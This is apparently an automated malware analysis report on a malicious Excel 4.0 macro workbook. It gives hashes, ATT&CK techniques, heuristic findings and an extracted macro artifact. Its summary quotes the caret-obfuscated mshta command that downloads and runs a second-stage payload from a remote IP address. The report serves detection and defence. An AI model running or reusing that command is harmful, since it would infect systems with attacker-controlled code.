Office (OLE) / .XLS malware analysis — malicious · 5ee4c300595293ac

MALICIOUS

Office (OLE) / .XLS

63.9 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: 154b6c2c9efc8366c0997c9fd5c854b4 SHA-1: 374afde587d87ae2c705a72d4716dce93e003572 SHA-256: 5ee4c300595293ac09b0c0501f0591b6aa412798acdb93b06d90f50271d0ce40

100 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel file containing Excel 4.0 macros. It employs a lure to trick the user into enabling macros, which then executes a command to download a payload from a specific URL. The macro explicitly constructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html', indicating its intent to download and execute a second-stage payload.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1391 bytes

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